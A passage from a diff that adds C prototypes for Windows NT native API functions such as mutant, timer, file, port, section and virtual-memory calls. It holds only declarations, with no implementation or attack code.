+NtWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + +NTSTATUS +NTAPI +NtCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + +NTSTATUS +NTAPI +NtOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + +NTSTATUS +NTAPI +NtOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + +NTSTATUS +NTAPI +NtCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + +NTSTATUS +NTAPI +NtOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + +NTSTATUS +NTAPI +NtQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + +NTSTATUS +NTAPI +NtQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + +NTSTATUS +NTAPI +NtSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + +NTSTATUS +NTAPI +NtQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + +NTSTATUS +NTAPI +NtSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + +NTSTATUS +NTAPI +NtAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + +NTSTATUS +NTAPI +NtSetUuidSeed ( + IN PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + +NTSTATUS +NTAPI +NtCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + +NTSTATUS +NTAPI +NtStartProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtStopProfile ( + IN HANDLE ProfileHandle + ); + + +NTSTATUS +NTAPI +NtSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + +NTSTATUS +NTAPI +NtQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + +NTSTATUS +NTAPI +NtQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + +NTSTATUS +NTAPI +NtCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + +NTSTATUS +NTAPI +NtSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + +NTSTATUS +NTAPI +NtQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + +NTSTATUS +NTAPI +NtQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + +NTSTATUS +NTAPI +NtQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + +NTSTATUS +NTAPI +NtSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + +NTSTATUS +NTAPI +NtShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + +NTSTATUS +NTAPI +NtDisplayString ( + IN PUNICODE_STRING String + ); + + +NTSTATUS +NTAPI +NtAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtDeleteAtom ( + IN RTL_ATOM Atom + ); + + +NTSTATUS +NTAPI +NtQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + +NTSTATUS +NTAPI +NtCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + +NTSTATUS +NTAPI +NtDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSTATUS +NTAPI +NtNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + +NTSTATUS +NTAPI +NtQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + +NTSTATUS +NTAPI +NtQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + +NTSTATUS +NTAPI +NtDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSTATUS +NTAPI +NtLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key, + IN BOOLEAN FailImmediately, + IN BOOLEAN ExclusiveLock + ); + + +NTSTATUS +NTAPI +NtOpenFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSTATUS +NTAPI +NtQueryDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PUNICODE_STRING FileName, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtQueryQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN OPTIONAL PVOID SidList, + IN ULONG SidListLength, + IN OPTIONAL PSID StartSid, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +NtQueryVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtReadFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSTATUS +NTAPI +NtSetQuotaInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtSetVolumeInformationFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSTATUS +NTAPI +NtWriteFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtUnlockFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER ByteOffset, + IN PLARGE_INTEGER Length, + IN ULONG Key + ); + + +NTSTATUS +NTAPI +NtReadFileScatter ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtSetEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length + ); + + +NTSTATUS +NTAPI +NtWriteFileGather ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PFILE_SEGMENT_ELEMENT SegmentArray, + IN ULONG Length, + IN OPTIONAL PLARGE_INTEGER ByteOffset, + IN OPTIONAL PULONG Key + ); + + +NTSTATUS +NTAPI +NtLoadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtUnloadDriver ( + IN PUNICODE_STRING DriverServiceName + ); + + +NTSTATUS +NTAPI +NtCreateIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Count OPTIONAL + ); + + +NTSTATUS +NTAPI +NtOpenIoCompletion ( + OUT PHANDLE IoCompletionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtQueryIoCompletion ( + IN HANDLE IoCompletionHandle, + IN IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + OUT PVOID IoCompletionInformation, + IN ULONG IoCompletionInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetIoCompletion ( + IN HANDLE IoCompletionHandle, + IN PVOID KeyContext, + IN OPTIONAL PVOID ApcContext, + IN NTSTATUS IoStatus, + IN ULONG_PTR IoStatusInformation + ); + + +NTSTATUS +NTAPI +NtRemoveIoCompletion ( + IN HANDLE IoCompletionHandle, + OUT PVOID *KeyContext, + OUT PVOID *ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtCallbackReturn ( + IN PVOID OutputBuffer OPTIONAL, + IN ULONG OutputLength, + IN NTSTATUS Status + ); + + +NTSTATUS +NTAPI +NtQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + + +NTSTATUS +NTAPI +NtSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + + +NTSTATUS +NTAPI +NtYieldExecution ( + VOID + ); + + +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtCreateWaitablePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN OPTIONAL ULONG MaxPoolUsage + ); + + +NTSTATUS +NTAPI +NtConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtSecureConnectPort( + OUT PHANDLE PortHandle, + IN PUNICODE_STRING PortName, + IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, + IN OUT OPTIONAL PPORT_VIEW ClientView, + IN OPTIONAL PSID RequiredServerSid, + IN OUT OPTIONAL PREMOTE_PORT_VIEW ServerView, + OUT OPTIONAL PULONG MaxMessageLength, + IN OUT OPTIONAL PVOID ConnectionInformation, + IN OUT OPTIONAL PULONG ConnectionInformationLength + ); + + +NTSTATUS +NTAPI +NtListenPort( + IN HANDLE PortHandle, + OUT PPORT_MESSAGE ConnectionRequest + ); + + +NTSTATUS +NTAPI +NtAcceptConnectPort( + OUT PHANDLE PortHandle, + IN OPTIONAL PVOID PortContext, + IN PPORT_MESSAGE ConnectionRequest, + IN BOOLEAN AcceptConnection, + IN OUT OPTIONAL PPORT_VIEW ServerView, + OUT OPTIONAL PREMOTE_PORT_VIEW ClientView + ); + + +NTSTATUS +NTAPI +NtCompleteConnectPort( + IN HANDLE PortHandle + ); + + +NTSTATUS +NTAPI +NtRequestPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage + ); + + +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE RequestMessage, + OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + IN HANDLE PortHandle, + IN OUT PPORT_MESSAGE ReplyMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext , + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage + ); + + +NTSTATUS +NTAPI +NtReplyWaitReceivePortEx( + IN HANDLE PortHandle, + OUT OPTIONAL PVOID *PortContext, + IN OPTIONAL PPORT_MESSAGE ReplyMessage, + OUT PPORT_MESSAGE ReceiveMessage, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS +NTAPI +NtImpersonateClientOfPort( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message + ); + + +NTSTATUS +NTAPI +NtReadRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteRequestData( + IN HANDLE PortHandle, + IN PPORT_MESSAGE Message, + IN ULONG DataEntryIndex, + IN PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtQueryInformationPort( + IN HANDLE PortHandle, + IN PORT_INFORMATION_CLASS PortInformationClass, + OUT PVOID PortInformation, + IN ULONG Length, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtCreateSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN OPTIONAL PLARGE_INTEGER MaximumSize, + IN ULONG SectionPageProtection, + IN ULONG AllocationAttributes, + IN OPTIONAL HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN SIZE_T CommitSize, + IN OUT OPTIONAL PLARGE_INTEGER SectionOffset, + IN OUT PSIZE_T ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Win32Protect + ); + + +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER NewSectionSize + ); + + +NTSTATUS +NTAPI +NtAreMappedFilesTheSame ( + IN PVOID File1MappedAsAnImage, + IN PVOID File2MappedAsFile + ); + + +NTSTATUS +NTAPI +NtAllocateVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG_PTR ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSTATUS +NTAPI +NtFreeVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG FreeType + ); + + +NTSTATUS +NTAPI +NtReadVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + OUT PVOID Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesRead + ); + + +NTSTATUS +NTAPI +NtWriteVirtualMemory ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN CONST VOID *Buffer, + IN SIZE_T BufferSize, + OUT OPTIONAL PSIZE_T NumberOfBytesWritten + ); + + +NTSTATUS +NTAPI +NtFlushVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + OUT PIO_STATUS_BLOCK IoStatus + ); + + +NTSTATUS +NTAPI +NtLockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtUnlockVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG MapType + ); + + +NTSTATUS +NTAPI +NtProtectVirtualMemory ( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, + IN ULONG NewProtect, + OUT PULONG OldProtect + ); + + +NTSTATUS +NTAPI +NtQueryVirtualMemory ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN MEMORY_INFORMATION_CLASS MemoryInformationClass, + OUT PVOID MemoryInformation, + IN SIZE_T MemoryInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN SIZE_T SectionInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPages ( + IN PVOID VirtualAddress, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtMapUserPhysicalPagesScatter ( + IN PVOID *VirtualAddresses, + IN ULONG_PTR NumberOfPages, + IN OPTIONAL PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtAllocateUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + OUT PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtFreeUserPhysicalPages ( + IN HANDLE ProcessHandle, + IN OUT PULONG_PTR NumberOfPages, + IN PULONG_PTR UserPfnArray + ); + + +NTSTATUS +NTAPI +NtGetWriteWatch ( + IN HANDLE ProcessHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T RegionSize, + OUT PVOID *UserAddressArray, + IN OUT PULONG_PTR EntriesInUserAddressArray, + OUT PULONG Granularity + ); + + +NTSTATUS +NTAPI +NtResetWriteWatch ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN SIZE_T RegionSize + ); + + +NTSTATUS +NTAPI +NtCreatePagingFile ( + IN PUNICODE_STRING PageFileName, + IN PLARGE_INTEGER MinimumSize, + IN PLARGE_INTEGER MaximumSize, + IN ULONG Priority + ); + + +NTSTATUS +NTAPI +NtFlushInstructionCache ( + IN HANDLE ProcessHandle, + IN OPTIONAL PVOID BaseAddress, + IN SIZE_T Length + ); + + +NTSTATUS +NTAPI +NtFlushWriteBuffer ( + VOID + ); + + +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG ObjectInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE Handle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG ObjectInformationLength + ); + + +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN OPTIONAL HANDLE TargetProcessHandle, + OUT PHANDLE TargetHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSTATUS +NTAPI +NtMakeTemporaryObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtMakePermanentObject ( + IN HANDLE Handle + ); + + +NTSTATUS +NTAPI +NtSignalAndWaitForSingleObject ( + IN HANDLE SignalHandle, + IN HANDLE WaitHandle, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + +NTSTATUS 